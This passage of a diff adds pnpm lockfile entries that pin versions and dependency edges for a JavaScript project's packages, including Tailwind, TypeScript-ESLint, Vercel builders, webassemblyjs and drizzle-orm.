+ '@tailwindcss/oxide-wasm32-wasi': 4.1.18
+ '@tailwindcss/oxide-win32-arm64-msvc': 4.1.18
+ '@tailwindcss/oxide-win32-x64-msvc': 4.1.18
+
+ '@tailwindcss/postcss@4.1.18':
+ dependencies:
+ '@alloc/quick-lru': 5.2.0
+ '@tailwindcss/node': 4.1.18
+ '@tailwindcss/oxide': 4.1.18
+ postcss: 8.5.6
+ tailwindcss: 4.1.18
+
+ '@tailwindcss/typography@0.5.19(tailwindcss@4.1.18)':
+ dependencies:
+ postcss-selector-parser: 6.0.10
+ tailwindcss: 4.1.18
+
+ '@tediousjs/connection-string@0.5.0': {}
+
+ '@tootallnate/once@2.0.0': {}
+
+ '@ts-morph/common@0.11.1':
+ dependencies:
+ fast-glob: 3.3.3
+ minimatch: 3.1.2
+ mkdirp: 1.0.4
+ path-browserify: 1.0.1
+
+ '@tsconfig/node10@1.0.12': {}
+
+ '@tsconfig/node12@1.0.11': {}
+
+ '@tsconfig/node14@1.0.3': {}
+
+ '@tsconfig/node16@1.0.4': {}
+
+ '@tybys/wasm-util@0.10.1':
+ dependencies:
+ tslib: 2.8.1
+ optional: true
+
+ '@types/bcrypt@6.0.0':
+ dependencies:
+ '@types/node': 20.19.27
+
+ '@types/eslint-scope@3.7.7':
+ dependencies:
+ '@types/eslint': 9.6.1
+ '@types/estree': 1.0.8
+
+ '@types/eslint@9.6.1':
+ dependencies:
+ '@types/estree': 1.0.8
+ '@types/json-schema': 7.0.15
+
+ '@types/estree@1.0.8': {}
+
+ '@types/json-schema@7.0.15': {}
+
+ '@types/json5@0.0.29': {}
+
+ '@types/mssql@9.1.9':
+ dependencies:
+ '@types/node': 25.2.0
+ tarn: 3.0.2
+ tedious: 19.2.0
+ transitivePeerDependencies:
+ - supports-color
+
+ '@types/node@20.11.0':
+ dependencies:
+ undici-types: 5.26.5
+
+ '@types/node@20.19.27':
+ dependencies:
+ undici-types: 6.21.0
+
+ '@types/node@25.2.0':
+ dependencies:
+ undici-types: 7.16.0
+
+ '@types/react-dom@19.2.3(@types/react@19.2.7)':
+ dependencies:
+ '@types/react': 19.2.7
+
+ '@types/react@19.2.7':
+ dependencies:
+ csstype: 3.2.3
+
+ '@types/readable-stream@4.0.23':
+ dependencies:
+ '@types/node': 25.2.0
+
+ '@typescript-eslint/eslint-plugin@8.52.0(@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)':
+ dependencies:
+ '@eslint-community/regexpp': 4.12.2
+ '@typescript-eslint/parser': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ '@typescript-eslint/scope-manager': 8.52.0
+ '@typescript-eslint/type-utils': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ '@typescript-eslint/utils': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ '@typescript-eslint/visitor-keys': 8.52.0
+ eslint: 9.39.2(jiti@2.6.1)
+ ignore: 7.0.5
+ natural-compare: 1.4.0
+ ts-api-utils: 2.4.0(typescript@5.9.3)
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - supports-color
+
+ '@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)':
+ dependencies:
+ '@typescript-eslint/scope-manager': 8.52.0
+ '@typescript-eslint/types': 8.52.0
+ '@typescript-eslint/typescript-estree': 8.52.0(typescript@5.9.3)
+ '@typescript-eslint/visitor-keys': 8.52.0
+ debug: 4.4.3
+ eslint: 9.39.2(jiti@2.6.1)
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - supports-color
+
+ '@typescript-eslint/project-service@8.52.0(typescript@5.9.3)':
+ dependencies:
+ '@typescript-eslint/tsconfig-utils': 8.52.0(typescript@5.9.3)
+ '@typescript-eslint/types': 8.52.0
+ debug: 4.4.3
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - supports-color
+
+ '@typescript-eslint/scope-manager@8.52.0':
+ dependencies:
+ '@typescript-eslint/types': 8.52.0
+ '@typescript-eslint/visitor-keys': 8.52.0
+
+ '@typescript-eslint/tsconfig-utils@8.52.0(typescript@5.9.3)':
+ dependencies:
+ typescript: 5.9.3
+
+ '@typescript-eslint/type-utils@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)':
+ dependencies:
+ '@typescript-eslint/types': 8.52.0
+ '@typescript-eslint/typescript-estree': 8.52.0(typescript@5.9.3)
+ '@typescript-eslint/utils': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ debug: 4.4.3
+ eslint: 9.39.2(jiti@2.6.1)
+ ts-api-utils: 2.4.0(typescript@5.9.3)
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - supports-color
+
+ '@typescript-eslint/types@8.52.0': {}
+
+ '@typescript-eslint/typescript-estree@8.52.0(typescript@5.9.3)':
+ dependencies:
+ '@typescript-eslint/project-service': 8.52.0(typescript@5.9.3)
+ '@typescript-eslint/tsconfig-utils': 8.52.0(typescript@5.9.3)
+ '@typescript-eslint/types': 8.52.0
+ '@typescript-eslint/visitor-keys': 8.52.0
+ debug: 4.4.3
+ minimatch: 9.0.5
+ semver: 7.7.3
+ tinyglobby: 0.2.15
+ ts-api-utils: 2.4.0(typescript@5.9.3)
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - supports-color
+
+ '@typescript-eslint/utils@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)':
+ dependencies:
+ '@eslint-community/eslint-utils': 4.9.1(eslint@9.39.2(jiti@2.6.1))
+ '@typescript-eslint/scope-manager': 8.52.0
+ '@typescript-eslint/types': 8.52.0
+ '@typescript-eslint/typescript-estree': 8.52.0(typescript@5.9.3)
+ eslint: 9.39.2(jiti@2.6.1)
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - supports-color
+
+ '@typescript-eslint/visitor-keys@8.52.0':
+ dependencies:
+ '@typescript-eslint/types': 8.52.0
+ eslint-visitor-keys: 4.2.1
+
+ '@typespec/ts-http-runtime@0.3.2':
+ dependencies:
+ http-proxy-agent: 7.0.2
+ https-proxy-agent: 7.0.6
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@unrs/resolver-binding-android-arm-eabi@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-android-arm64@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-darwin-arm64@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-darwin-x64@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-freebsd-x64@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-arm-gnueabihf@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-arm-musleabihf@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-arm64-gnu@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-arm64-musl@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-ppc64-gnu@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-riscv64-gnu@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-riscv64-musl@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-s390x-gnu@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-x64-gnu@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-linux-x64-musl@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-wasm32-wasi@1.11.1':
+ dependencies:
+ '@napi-rs/wasm-runtime': 0.2.12
+ optional: true
+
+ '@unrs/resolver-binding-win32-arm64-msvc@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-win32-ia32-msvc@1.11.1':
+ optional: true
+
+ '@unrs/resolver-binding-win32-x64-msvc@1.11.1':
+ optional: true
+
+ '@vercel/backends@0.0.25(typescript@5.9.3)':
+ dependencies:
+ '@vercel/build-utils': 13.2.16
+ '@vercel/nft': 1.3.0
+ execa: 3.2.0
+ fs-extra: 11.1.0
+ oxc-transform: 0.111.0
+ path-to-regexp: 8.3.0
+ resolve.exports: 2.0.3
+ rolldown: 1.0.0-rc.1
+ srvx: 0.8.9
+ tsx: 4.21.0
+ typescript: 5.9.3
+ zod: 3.22.4
+ transitivePeerDependencies:
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/blob@1.0.2':
+ dependencies:
+ async-retry: 1.3.3
+ is-buffer: 2.0.5
+ is-node-process: 1.2.0
+ throttleit: 2.1.0
+ undici: 5.29.0
+
+ '@vercel/build-utils@13.2.16': {}
+
+ '@vercel/cervel@0.0.12(typescript@5.9.3)':
+ dependencies:
+ '@vercel/backends': 0.0.25(typescript@5.9.3)
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/detect-agent@1.1.0': {}
+
+ '@vercel/elysia@0.1.27':
+ dependencies:
+ '@vercel/node': 5.5.28
+ '@vercel/static-config': 3.1.2
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/error-utils@2.0.3': {}
+
+ '@vercel/express@0.1.36(typescript@5.9.3)':
+ dependencies:
+ '@vercel/cervel': 0.0.12(typescript@5.9.3)
+ '@vercel/nft': 1.1.1
+ '@vercel/node': 5.5.28
+ '@vercel/static-config': 3.1.2
+ fs-extra: 11.1.0
+ path-to-regexp: 8.3.0
+ ts-morph: 12.0.0
+ zod: 3.22.4
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+ - typescript
+
+ '@vercel/fastify@0.1.30':
+ dependencies:
+ '@vercel/node': 5.5.28
+ '@vercel/static-config': 3.1.2
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/fun@1.2.1':
+ dependencies:
+ '@tootallnate/once': 2.0.0
+ async-listen: 1.2.0
+ debug: 4.3.4
+ generic-pool: 3.4.2
+ micro: 9.3.5-canary.3
+ ms: 2.1.1
+ node-fetch: 2.6.7
+ path-to-regexp: 8.2.0
+ promisepipe: 3.0.0
+ semver: 7.5.4
+ stat-mode: 0.3.0
+ stream-to-promise: 2.2.0
+ tar: 6.2.1
+ tinyexec: 0.3.2
+ tree-kill: 1.2.2
+ uid-promise: 1.0.0
+ xdg-app-paths: 5.1.0
+ yauzl-promise: 2.1.3
+ transitivePeerDependencies:
+ - encoding
+ - supports-color
+
+ '@vercel/gatsby-plugin-vercel-analytics@1.0.11':
+ dependencies:
+ web-vitals: 0.2.4
+
+ '@vercel/gatsby-plugin-vercel-builder@2.0.127':
+ dependencies:
+ '@sinclair/typebox': 0.25.24
+ '@vercel/build-utils': 13.2.16
+ esbuild: 0.27.0
+ etag: 1.8.1
+ fs-extra: 11.1.0
+
+ '@vercel/go@3.3.4': {}
+
+ '@vercel/h3@0.1.36':
+ dependencies:
+ '@vercel/node': 5.5.28
+ '@vercel/static-config': 3.1.2
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/hono@0.2.30':
+ dependencies:
+ '@vercel/nft': 1.1.1
+ '@vercel/node': 5.5.28
+ '@vercel/static-config': 3.1.2
+ fs-extra: 11.1.0
+ path-to-regexp: 8.3.0
+ ts-morph: 12.0.0
+ zod: 3.22.4
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/hydrogen@1.3.5':
+ dependencies:
+ '@vercel/static-config': 3.1.2
+ ts-morph: 12.0.0
+
+ '@vercel/koa@0.1.10':
+ dependencies:
+ '@vercel/node': 5.5.28
+ '@vercel/static-config': 3.1.2
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/nestjs@0.2.31':
+ dependencies:
+ '@vercel/node': 5.5.28
+ '@vercel/static-config': 3.1.2
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/next@4.15.21':
+ dependencies:
+ '@vercel/nft': 1.1.1
+ transitivePeerDependencies:
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/nft@1.1.1':
+ dependencies:
+ '@mapbox/node-pre-gyp': 2.0.3
+ '@rollup/pluginutils': 5.3.0
+ acorn: 8.15.0
+ acorn-import-attributes: 1.9.5(acorn@8.15.0)
+ async-sema: 3.1.1
+ bindings: 1.5.0
+ estree-walker: 2.0.2
+ glob: 13.0.0
+ graceful-fs: 4.2.11
+ node-gyp-build: 4.8.4
+ picomatch: 4.0.3
+ resolve-from: 5.0.0
+ transitivePeerDependencies:
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/nft@1.3.0':
+ dependencies:
+ '@mapbox/node-pre-gyp': 2.0.3
+ '@rollup/pluginutils': 5.3.0
+ acorn: 8.15.0
+ acorn-import-attributes: 1.9.5(acorn@8.15.0)
+ async-sema: 3.1.1
+ bindings: 1.5.0
+ estree-walker: 2.0.2
+ glob: 13.0.0
+ graceful-fs: 4.2.11
+ node-gyp-build: 4.8.4
+ picomatch: 4.0.3
+ resolve-from: 5.0.0
+ transitivePeerDependencies:
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/node@5.5.28':
+ dependencies:
+ '@edge-runtime/node-utils': 2.3.0
+ '@edge-runtime/primitives': 4.1.0
+ '@edge-runtime/vm': 3.2.0
+ '@types/node': 20.11.0
+ '@vercel/build-utils': 13.2.16
+ '@vercel/error-utils': 2.0.3
+ '@vercel/nft': 1.1.1
+ '@vercel/static-config': 3.1.2
+ async-listen: 3.0.0
+ cjs-module-lexer: 1.2.3
+ edge-runtime: 2.5.9
+ es-module-lexer: 1.4.1
+ esbuild: 0.27.0
+ etag: 1.8.1
+ mime-types: 2.1.35
+ node-fetch: 2.6.9
+ path-to-regexp: 6.1.0
+ path-to-regexp-updated: path-to-regexp@6.3.0
+ ts-morph: 12.0.0
+ ts-node: 10.9.1(@types/node@20.11.0)(typescript@4.9.5)
+ typescript: 4.9.5
+ typescript5: typescript@5.9.3
+ undici: 5.28.4
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/python@6.5.0': {}
+
+ '@vercel/redwood@2.4.9':
+ dependencies:
+ '@vercel/nft': 1.1.1
+ '@vercel/static-config': 3.1.2
+ semver: 6.3.1
+ ts-morph: 12.0.0
+ transitivePeerDependencies:
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/remix-builder@5.5.10':
+ dependencies:
+ '@vercel/error-utils': 2.0.3
+ '@vercel/nft': 1.1.1
+ '@vercel/static-config': 3.1.2
+ path-to-regexp: 6.1.0
+ path-to-regexp-updated: path-to-regexp@6.3.0
+ ts-morph: 12.0.0
+ transitivePeerDependencies:
+ - encoding
+ - rollup
+ - supports-color
+
+ '@vercel/ruby@2.2.5': {}
+
+ '@vercel/rust@1.0.5':
+ dependencies:
+ '@iarna/toml': 2.2.5
+ execa: 5.1.1
+
+ '@vercel/static-build@2.8.28':
+ dependencies:
+ '@vercel/gatsby-plugin-vercel-analytics': 1.0.11
+ '@vercel/gatsby-plugin-vercel-builder': 2.0.127
+ '@vercel/static-config': 3.1.2
+ ts-morph: 12.0.0
+
+ '@vercel/static-config@3.1.2':
+ dependencies:
+ ajv: 8.6.3
+ json-schema-to-ts: 1.6.4
+ ts-morph: 12.0.0
+
+ '@vladfrangu/async_event_emitter@2.4.7': {}
+
+ '@webassemblyjs/ast@1.14.1':
+ dependencies:
+ '@webassemblyjs/helper-numbers': 1.13.2
+ '@webassemblyjs/helper-wasm-bytecode': 1.13.2
+
+ '@webassemblyjs/floating-point-hex-parser@1.13.2': {}
+
+ '@webassemblyjs/helper-api-error@1.13.2': {}
+
+ '@webassemblyjs/helper-buffer@1.14.1': {}
+
+ '@webassemblyjs/helper-numbers@1.13.2':
+ dependencies:
+ '@webassemblyjs/floating-point-hex-parser': 1.13.2
+ '@webassemblyjs/helper-api-error': 1.13.2
+ '@xtuc/long': 4.2.2
+
+ '@webassemblyjs/helper-wasm-bytecode@1.13.2': {}
+
+ '@webassemblyjs/helper-wasm-section@1.14.1':
+ dependencies:
+ '@webassemblyjs/ast': 1.14.1
+ '@webassemblyjs/helper-buffer': 1.14.1
+ '@webassemblyjs/helper-wasm-bytecode': 1.13.2
+ '@webassemblyjs/wasm-gen': 1.14.1
+
+ '@webassemblyjs/ieee754@1.13.2':
+ dependencies:
+ '@xtuc/ieee754': 1.2.0
+
+ '@webassemblyjs/leb128@1.13.2':
+ dependencies:
+ '@xtuc/long': 4.2.2
+
+ '@webassemblyjs/utf8@1.13.2': {}
+
+ '@webassemblyjs/wasm-edit@1.14.1':
+ dependencies:
+ '@webassemblyjs/ast': 1.14.1
+ '@webassemblyjs/helper-buffer': 1.14.1
+ '@webassemblyjs/helper-wasm-bytecode': 1.13.2
+ '@webassemblyjs/helper-wasm-section': 1.14.1
+ '@webassemblyjs/wasm-gen': 1.14.1
+ '@webassemblyjs/wasm-opt': 1.14.1
+ '@webassemblyjs/wasm-parser': 1.14.1
+ '@webassemblyjs/wast-printer': 1.14.1
+
+ '@webassemblyjs/wasm-gen@1.14.1':
+ dependencies:
+ '@webassemblyjs/ast': 1.14.1
+ '@webassemblyjs/helper-wasm-bytecode': 1.13.2
+ '@webassemblyjs/ieee754': 1.13.2
+ '@webassemblyjs/leb128': 1.13.2
+ '@webassemblyjs/utf8': 1.13.2
+
+ '@webassemblyjs/wasm-opt@1.14.1':
+ dependencies:
+ '@webassemblyjs/ast': 1.14.1
+ '@webassemblyjs/helper-buffer': 1.14.1
+ '@webassemblyjs/wasm-gen': 1.14.1
+ '@webassemblyjs/wasm-parser': 1.14.1
+
+ '@webassemblyjs/wasm-parser@1.14.1':
+ dependencies:
+ '@webassemblyjs/ast': 1.14.1
+ '@webassemblyjs/helper-api-error': 1.13.2
+ '@webassemblyjs/helper-wasm-bytecode': 1.13.2
+ '@webassemblyjs/ieee754': 1.13.2
+ '@webassemblyjs/leb128': 1.13.2
+ '@webassemblyjs/utf8': 1.13.2
+
+ '@webassemblyjs/wast-printer@1.14.1':
+ dependencies:
+ '@webassemblyjs/ast': 1.14.1
+ '@xtuc/long': 4.2.2
+
+ '@xtuc/ieee754@1.2.0': {}
+
+ '@xtuc/long@4.2.2': {}
+
+ abbrev@3.0.1: {}
+
+ abort-controller@3.0.0:
+ dependencies:
+ event-target-shim: 5.0.1
+
+ acorn-import-attributes@1.9.5(acorn@8.15.0):
+ dependencies:
+ acorn: 8.15.0
+
+ acorn-import-phases@1.0.4(acorn@8.15.0):
+ dependencies:
+ acorn: 8.15.0
+
+ acorn-jsx@5.3.2(acorn@8.15.0):
+ dependencies:
+ acorn: 8.15.0
+
+ acorn-walk@8.3.4:
+ dependencies:
+ acorn: 8.15.0
+
+ acorn@8.15.0: {}
+
+ agent-base@7.1.4: {}
+
+ ajv-formats@2.1.1(ajv@8.17.1):
+ optionalDependencies:
+ ajv: 8.17.1
+
+ ajv-keywords@3.5.2(ajv@6.12.6):
+ dependencies:
+ ajv: 6.12.6
+
+ ajv-keywords@5.1.0(ajv@8.17.1):
+ dependencies:
+ ajv: 8.17.1
+ fast-deep-equal: 3.1.3
+
+ ajv@6.12.6:
+ dependencies:
+ fast-deep-equal: 3.1.3
+ fast-json-stable-stringify: 2.1.0
+ json-schema-traverse: 0.4.1
+ uri-js: 4.4.1
+
+ ajv@8.17.1:
+ dependencies:
+ fast-deep-equal: 3.1.3
+ fast-uri: 3.1.0
+ json-schema-traverse: 1.0.0
+ require-from-string: 2.0.2
+
+ ajv@8.6.3:
+ dependencies:
+ fast-deep-equal: 3.1.3
+ json-schema-traverse: 1.0.0
+ require-from-string: 2.0.2
+ uri-js: 4.4.1
+
+ ansi-styles@4.3.0:
+ dependencies:
+ color-convert: 2.0.1
+
+ any-promise@1.3.0: {}
+
+ arg@4.1.0: {}
+
+ arg@4.1.3: {}
+
+ argparse@2.0.1: {}
+
+ aria-hidden@1.2.6:
+ dependencies:
+ tslib: 2.8.1
+
+ aria-query@5.3.2: {}
+
+ array-buffer-byte-length@1.0.2:
+ dependencies:
+ call-bound: 1.0.4
+ is-array-buffer: 3.0.5
+
+ array-includes@3.1.9:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-object-atoms: 1.1.1
+ get-intrinsic: 1.3.0
+ is-string: 1.1.1
+ math-intrinsics: 1.1.0
+
+ array.prototype.findlast@1.2.5:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-errors: 1.3.0
+ es-object-atoms: 1.1.1
+ es-shim-unscopables: 1.1.0
+
+ array.prototype.findlastindex@1.2.6:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-errors: 1.3.0
+ es-object-atoms: 1.1.1
+ es-shim-unscopables: 1.1.0
+
+ array.prototype.flat@1.3.3:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-shim-unscopables: 1.1.0
+
+ array.prototype.flatmap@1.3.3:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-shim-unscopables: 1.1.0
+
+ array.prototype.tosorted@1.1.4:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-errors: 1.3.0
+ es-shim-unscopables: 1.1.0
+
+ arraybuffer.prototype.slice@1.0.4:
+ dependencies:
+ array-buffer-byte-length: 1.0.2
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-errors: 1.3.0
+ get-intrinsic: 1.3.0
+ is-array-buffer: 3.0.5
+
+ ast-types-flow@0.0.8: {}
+
+ async-function@1.0.0: {}
+
+ async-listen@1.2.0: {}
+
+ async-listen@3.0.0: {}
+
+ async-listen@3.0.1: {}
+
+ async-retry@1.3.3:
+ dependencies:
+ retry: 0.13.1
+
+ async-sema@3.1.1: {}
+
+ asynckit@0.4.0: {}
+
+ available-typed-arrays@1.0.7:
+ dependencies:
+ possible-typed-array-names: 1.1.0
+
+ aws-ssl-profiles@1.1.2: {}
+
+ axe-core@4.11.0: {}
+
+ axobject-query@4.1.0: {}
+
+ balanced-match@1.0.2: {}
+
+ base64-js@1.5.1: {}
+
+ baseline-browser-mapping@2.9.11: {}
+
+ bcrypt@6.0.0:
+ dependencies:
+ node-addon-api: 8.5.0
+ node-gyp-build: 4.8.4
+
+ big.js@5.2.2: {}
+
+ bignumber.js@9.3.1: {}
+
+ bindings@1.5.0:
+ dependencies:
+ file-uri-to-path: 1.0.0
+
+ bl@6.1.6:
+ dependencies:
+ '@types/readable-stream': 4.0.23
+ buffer: 6.0.3
+ inherits: 2.0.4
+ readable-stream: 4.7.0
+
+ brace-expansion@1.1.12:
+ dependencies:
+ balanced-match: 1.0.2
+ concat-map: 0.0.1
+
+ brace-expansion@2.0.2:
+ dependencies:
+ balanced-match: 1.0.2
+
+ braces@3.0.3:
+ dependencies:
+ fill-range: 7.1.1
+
+ browserslist@4.28.1:
+ dependencies:
+ baseline-browser-mapping: 2.9.11
+ caniuse-lite: 1.0.30001762
+ electron-to-chromium: 1.5.283
+ node-releases: 2.0.27
+ update-browserslist-db: 1.2.3(browserslist@4.28.1)
+
+ buffer-crc32@0.2.13: {}
+
+ buffer-equal-constant-time@1.0.1: {}
+
+ buffer-from@1.1.2: {}
+
+ buffer@6.0.3:
+ dependencies:
+ base64-js: 1.5.1
+ ieee754: 1.2.1
+
+ bundle-name@4.1.0:
+ dependencies:
+ run-applescript: 7.1.0
+
+ bytes@3.1.0: {}
+
+ call-bind-apply-helpers@1.0.2:
+ dependencies:
+ es-errors: 1.3.0
+ function-bind: 1.1.2
+
+ call-bind@1.0.8:
+ dependencies:
+ call-bind-apply-helpers: 1.0.2
+ es-define-property: 1.0.1
+ get-intrinsic: 1.3.0
+ set-function-length: 1.2.2
+
+ call-bound@1.0.4:
+ dependencies:
+ call-bind-apply-helpers: 1.0.2
+ get-intrinsic: 1.3.0
+
+ callsites@3.1.0: {}
+
+ caniuse-lite@1.0.30001762: {}
+
+ chalk@4.1.2:
+ dependencies:
+ ansi-styles: 4.3.0
+ supports-color: 7.2.0
+
+ chokidar@4.0.0:
+ dependencies:
+ readdirp: 4.1.2
+
+ chownr@2.0.0: {}
+
+ chownr@3.0.0: {}
+
+ chrome-trace-event@1.0.4: {}
+
+ cjs-module-lexer@1.2.3: {}
+
+ client-only@0.0.1: {}
+
+ code-block-writer@10.1.1: {}
+
+ color-convert@2.0.1:
+ dependencies:
+ color-name: 1.1.4
+
+ color-name@1.1.4: {}
+
+ combined-stream@1.0.8:
+ dependencies:
+ delayed-stream: 1.0.0
+
+ commander@11.1.0: {}
+
+ commander@2.20.3: {}
+
+ concat-map@0.0.1: {}
+
+ consola@3.4.2: {}
+
+ content-type@1.0.4: {}
+
+ convert-hrtime@3.0.0: {}
+
+ cookie-es@2.0.0: {}
+
+ create-require@1.1.1: {}
+
+ cross-spawn@7.0.6:
+ dependencies:
+ path-key: 3.1.1
+ shebang-command: 2.0.0
+ which: 2.0.2
+
+ cssesc@3.0.0: {}
+
+ csstype@3.2.3: {}
+
+ damerau-levenshtein@1.0.8: {}
+
+ data-view-buffer@1.0.2:
+ dependencies:
+ call-bound: 1.0.4
+ es-errors: 1.3.0
+ is-data-view: 1.0.2
+
+ data-view-byte-length@1.0.2:
+ dependencies:
+ call-bound: 1.0.4
+ es-errors: 1.3.0
+ is-data-view: 1.0.2
+
+ data-view-byte-offset@1.0.1:
+ dependencies:
+ call-bound: 1.0.4
+ es-errors: 1.3.0
+ is-data-view: 1.0.2
+
+ date-fns@4.1.0: {}
+
+ debug@3.2.7:
+ dependencies:
+ ms: 2.1.3
+
+ debug@4.3.4:
+ dependencies:
+ ms: 2.1.2
+
+ debug@4.4.3:
+ dependencies:
+ ms: 2.1.3
+
+ deep-is@0.1.4: {}
+
+ default-browser-id@5.0.1: {}
+
+ default-browser@5.4.0:
+ dependencies:
+ bundle-name: 4.1.0
+ default-browser-id: 5.0.1
+
+ define-data-property@1.1.4:
+ dependencies:
+ es-define-property: 1.0.1
+ es-errors: 1.3.0
+ gopd: 1.2.0
+
+ define-lazy-prop@3.0.0: {}
+
+ define-properties@1.2.1:
+ dependencies:
+ define-data-property: 1.1.4
+ has-property-descriptors: 1.0.2
+ object-keys: 1.1.1
+
+ delayed-stream@1.0.0: {}
+
+ denque@2.1.0: {}
+
+ depd@1.1.2: {}
+
+ detect-libc@2.1.2: {}
+
+ detect-node-es@1.1.0: {}
+
+ diff@4.0.2: {}
+
+ discord-api-types@0.38.37: {}
+
+ discord-interactions@4.4.0: {}
+
+ doctrine@2.1.0:
+ dependencies:
+ esutils: 2.0.3
+
+ dotenv-cli@10.0.0:
+ dependencies:
+ cross-spawn: 7.0.6
+ dotenv: 17.2.3
+ dotenv-expand: 11.0.7
+ minimist: 1.2.8
+
+ dotenv-expand@11.0.7:
+ dependencies:
+ dotenv: 16.6.1
+
+ dotenv@16.6.1: {}
+
+ dotenv@17.2.3: {}
+
+ drizzle-kit@1.0.0-beta.11-05230d9:
+ dependencies:
+ '@drizzle-team/brocli': 0.11.0
+ '@js-temporal/polyfill': 0.5.1
+ esbuild: 0.25.12
+ tsx: 4.21.0
+
+ drizzle-orm@1.0.0-beta.11-05230d9(@types/mssql@9.1.9)(mssql@11.0.1)(mysql2@3.16.0):
+ dependencies:
+ '@types/mssql': 9.1.9
+ mssql: 11.0.1
+ optionalDependencies:
+ mysql2: 3.16.0
+
+ dunder-proto@1.0.1:
+ dependencies:
+ call-bind-apply-helpers: 1.0.2
+ es-errors: 1.3.0
+ gopd: 1.2.0
+
+ ecdsa-sig-formatter@1.0.11:
+ dependencies:
+ safe-buffer: 5.2.1
+
+ edge-runtime@2.5.9:
+ dependencies:
+ '@edge-runtime/format': 2.2.1
+ '@edge-runtime/ponyfill': 2.4.2
+ '@edge-runtime/vm': 3.2.0
+ async-listen: 3.0.1
+ mri: 1.2.0
+ picocolors: 1.0.0
+ pretty-ms: 7.0.1
+ signal-exit: 4.0.2
+ time-span: 4.0.0
+
+ electron-to-chromium@1.5.283: {}
+
+ emoji-regex@9.2.2: {}
+
+ emojis-list@3.0.0: {}
+
+ end-of-stream@1.1.0:
+ dependencies:
+ once: 1.3.3
+
+ end-of-stream@1.4.5:
+ dependencies:
+ once: 1.4.0
+
+ enhanced-resolve@5.18.4:
+ dependencies:
+ graceful-fs: 4.2.11
+ tapable: 2.3.0
+
+ error-causes@3.0.2: {}
+
+ es-abstract@1.24.1:
+ dependencies:
+ array-buffer-byte-length: 1.0.2
+ arraybuffer.prototype.slice: 1.0.4
+ available-typed-arrays: 1.0.7
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ data-view-buffer: 1.0.2
+ data-view-byte-length: 1.0.2
+ data-view-byte-offset: 1.0.1
+ es-define-property: 1.0.1
+ es-errors: 1.3.0
+ es-object-atoms: 1.1.1
+ es-set-tostringtag: 2.1.0
+ es-to-primitive: 1.3.0
+ function.prototype.name: 1.1.8
+ get-intrinsic: 1.3.0
+ get-proto: 1.0.1
